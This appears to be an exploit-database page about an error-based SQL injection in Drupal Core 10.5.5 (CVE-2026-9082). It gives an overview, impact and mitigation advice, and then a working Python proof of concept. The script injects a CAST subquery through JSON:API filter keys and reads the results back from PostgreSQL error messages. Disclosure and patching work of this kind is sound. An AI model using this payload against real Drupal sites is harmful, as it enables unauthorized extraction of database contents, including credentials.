Skip to main content

Drupal Core 10.5.5 – Error-Based SQL Injection

Categories: PHP WebApps

Overview

The recent vulnerability identified as CVE-2026-9082 affects Drupal Core 10.5.5 and is classified as an error-based SQL injection. This flaw allows attackers to manipulate SQL queries through improper input validation, potentially exposing sensitive database information. Given Drupal’s widespread use in content management systems, the implications of this vulnerability are significant for web applications relying on this platform.

Technical Details

Error-based SQL injection vulnerabilities occur when an application inadvertently reveals database error messages to users. In the case of CVE-2026-9082, the flaw lies within how Drupal handles user inputs for database queries. Attackers can exploit this by crafting malicious inputs that trigger errors, which then disclose valuable database structure and content details. For instance, an attacker could input a specially crafted string that, when executed, reveals the names of database tables or column data types.

This vulnerability can be exploited in various scenarios, such as through forms or URL parameters that do not adequately sanitize user inputs. If an attacker successfully triggers an error, they can utilize the information obtained to construct further attacks, such as retrieving user credentials or sensitive data.

Impact

The potential consequences of CVE-2026-9082 are severe. Successful exploitation can lead to unauthorized access to sensitive information, including user data, configuration settings, and even administrative credentials. This not only compromises the integrity of the affected Drupal site but also poses risks of data breaches, loss of user trust, and potential legal ramifications for organizations.

Mitigation

To protect against CVE-2026-9082, it is crucial for security professionals to promptly update to the latest version of Drupal Core, specifically version 10.5.6 or higher, where this vulnerability has been addressed. Regularly applying security patches is a fundamental practice in maintaining application security.

Additionally, implementing robust input validation and sanitization measures can help prevent SQL injection vulnerabilities. Security teams should review their database query practices, ensuring that prepared statements and parameterized queries are used. Employing a web application firewall (WAF) can also provide an additional layer of security by detecting and blocking malicious requests before they reach the application.

Proof of Concept (PoC)

poc.py
# Exploit Title: Drupal Core 10.5.5 - Error-Based SQL Injection 
# Google Dork: N/A
# Date: 2026-05-31
# Exploit Author: cardosource
# Vendor Homepage: https://www.drupal.org
# Software Link: https://www.drupal.org/project/drupal
# Version: Drupal Core 10.5.5
# Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17
# CVE: CVE-2026-9082
#
# Description:
# This proof-of-concept demonstrates an Error-Based SQL Injection in
# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter
# array keys influence SQL query construction, allowing database
# information disclosure through SQL error messages.



import requests
import json
from urllib.parse import urlencode

TARGET_URL = "http://localhost:8080/jsonapi/node/article"

BANNER = """
[+] Drupal Core 10.5.5 - Error-Based SQL Injection
[+] CVE-2026-9082
[+] Target: JSON:API (PostgreSQL)
"""


def extract_data(subquery):
    headers = {
        "Accept": "application/vnd.api+json",
        "Content-Type": "application/vnd.api+json"
    }
    
    payload = f"0||CAST(({subquery}) AS INTEGER)"
   
    params = {
        "filter[my_filter][condition][path]": "title",
        "filter[my_filter][condition][operator]": "IN",
        "filter[my_filter][condition][value][0]": "Example",
        f"filter[my_filter][condition][value][{payload}]": "Injection"
    }
    
    try:
        response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)
       
        if response.status_code == 500:
            try:
                error = response.json().get("errors", [{}])[0].get("detail", "")
                if "invalid input syntax" in error:
                    data = error.split('"')[1] if '"' in error else error
                    print(f"33[92m[SUCCESS]33[0m {data}")
            except json.JSONDecodeError:
                pass
    except requests.exceptions.RequestException:
        pass


if __name__ == "__main__":
    print(BANNER) 
    extract_data("SELECT version()")

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...